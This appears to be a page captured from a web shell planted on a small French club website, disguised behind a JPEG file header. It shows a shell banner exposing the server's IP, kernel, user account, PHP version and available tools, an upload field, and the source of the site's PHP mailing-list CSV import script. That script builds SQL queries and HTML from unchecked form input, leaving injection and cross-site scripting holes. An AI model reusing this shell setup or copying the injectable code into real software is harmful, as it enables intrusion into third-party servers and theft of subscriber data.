ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/lapause-petanque.fr/seo-mailing/tools/ |
Upload File : |
<?php
if(count($_FILES)){
$type = end(explode(".",$_FILES['file']['name']));
$file_import = unserialize($_SESSION['file_import']);
$mime = unserialize($_SESSION['mime']);
if(array_search($type,$mime)){
$type_ext = array_search($type,$mime);
}else{
$type_ext = -1;
};
}
if(count($_POST) && $_FILES['file']['size'] > 0 && in_array($type_ext,$file_import)){
$str = iconv(trim($_POST['encoding']), 'utf-8',file_get_contents($_FILES['file']['tmp_name']));
$str = str_replace("\"", "", $str);
$gg = explode("\n", $str);
$_SESSION['dat_array'] = $gg;
$dat_array = explode(trim($_POST['sep']), $gg[0]);
?>
<form action="" method="post" class="form-horizontal">
<input type="hidden" name="group" value="<?php echo $_POST['group']?>">
<h3>Step 2</h3>
<div class="well">
<div class="control-group">
<label class="control-label" for="name"><?php echo __('Name');?></label>
<div class="controls">
<select name="name">
<option value="0"><?php echo __('Select');?></option>
<?php foreach($dat_array as $line_key => $line_value){?>
<option value="<?php echo $line_key?>">[Line-<?php echo $line_key?>] <?php echo $line_value?></option>
<?php } ?>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label" for="email"><?php echo __('E-mail');?></label>
<div class="controls">
<select name="email">
<option value="0"><?php echo __('Select');?></option>
<?php foreach($dat_array as $line_key => $line_value){?>
<option value="<?php echo $line_key?>">[Line-<?php echo $line_key?>] <?php echo $line_value?></option>
<?php } ?>
</select>
</div>
</div>
<?php $fea_res = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user_feature");
if(mysqli_num_rows($fea_res) > 0){
while($fea = mysqli_fetch_array($fea_res)){?>
<div class="control-group">
<label class="control-label" for="email"><?php echo $fea['name'];?></label>
<div class="controls">
<select name="feature[<?php echo $fea['id']?>][]">
<option value="0"><?php echo __('Select');?></option>
<?php foreach($dat_array as $line_key => $line_value){?>
<option value="<?php echo $line_key?>">[Line-<?php echo $line_key?>] <?php echo $line_value?></option>
<?php } ?>
</select>
</div>
</div>
<?php }
}
?>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-primary <?php if($_SESSION['PERM'][5]['a'] == 0){?>disabled<?php } ?>"><i class="icon-save"></i> <?php echo __('Save');?></button>
</div>
</form>
<?php }elseif(isset($_SESSION['dat_array'])){
foreach($_SESSION['dat_array'] as $value){
$line = explode(";", $value);
$feature = array();
if(isset($_POST['feature']) && is_array($_POST['feature'])){
foreach($_POST['feature'] as $fk => $fv){
if($fv[0]!=0)$feature[$fk][] = $line[trim($fv[0])];
}
}
if(count($feature) ==0) {$feature = '';}else{$feature = serialize($feature);}
$em = $line[$_POST['email']];
$re = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE email = '".$em."' AND id_cat = '{$_POST['group']}' LIMIT 1");
if(mysqli_num_rows($re)==0 && trim($em) != ''){
$unsubscribe_code = substr(md5(trim($line[$_POST['name']]).trim($em)), 0, 7);
$result = mysqli_query($db,"SELECT domain FROM ".$INFO['sql_tbl_prefix']."blacklist WHERE domain = SUBSTRING_INDEX('".trim($em)."','@',-1) LIMIT 1");
if(mysqli_num_rows($result) ==0 ){
mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."mail_user (id, insert_date, id_user, id_cat, name, email, unsubscribe_code, feature, time_unsubscribe, ip_unsubscribe, status) VALUES ('', '".time()."', '{$_SESSION['id']}', '{$_POST['group']}', '".trim($line[$_POST['name']])."', '".$em."','".$unsubscribe_code."', '{$feature}','0', '0', '0')");
}
}
}
unset($_SESSION['dat_array']);
?>
<script type="application/javascript">
document.location.href="?users";
</script>
<?php }else{
unset($_SESSION['dat_array']);
if(isset($mime) && is_array($mime) && @!in_array($type_key,$mime) && count($_POST)){
echo "<div class='alert alert-error'>".__('invalid file type')."</div>";
}
?>
<form class="form-horizontal" method="post" action="" enctype="multipart/form-data">
<h3><?php echo __('Step');?> 1</h3>
<div class="well">
<div class="control-group">
<label class="control-label" for="group"><?php echo __('Group');?> <i class="icon-exclamation-sign" rel="tooltip" title="<?php echo __('In brackets you can see the amount of email address in group');?>"></i></label>
<div class="controls">
<select name="group">
<?php
if($_SESSION['PERM'][5]['v'] == 1){
$where = ' WHERE id_user ='.$_SESSION['id'];
}else{
$where = '';
}
$query = "SELECT *,
(SELECT COUNT(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_cat = ".$INFO['sql_tbl_prefix']."mail_group.id AND ".$INFO['sql_tbl_prefix']."mail_user.status = 0) as count_user
FROM ".$INFO['sql_tbl_prefix']."mail_group {$where} ORDER by name ";
$result = mysqli_query($db,$query) or exit("select advice error");
while($group = mysqli_fetch_array($result)){ ?>
<option value="<?php echo $group['id']?>">(<?php echo $group['count_user']?>) <?php echo $group['name']?></option>
<?php } ?>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label" for="group"><?php echo __('Import file');?></label>
<div class="controls">
<input type="file" name="file" class="span6">
</div>
</div>
<div class="control-group">
<label class="control-label" for="sep"><?php echo __('Separate');?></label>
<div class="controls">
<input type="text" class="input-xlarge" id="sep" name="sep" value=";">
</div>
</div>
<div class="control-group">
<label class="control-label" for="encoding"><?php echo __('File character encoding');?></label>
<div class="controls">
<input type="text" class="input-xlarge" id="encoding" name="encoding" value="utf8">
</div>
</div>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-primary <?php if($_SESSION['PERM'][5]['a'] == 0){?>disabled<?php } ?>"><i class="icon-circle-arrow-right"></i> <?php echo __('Next step');?></button>
</div>
</form>
<?php }?>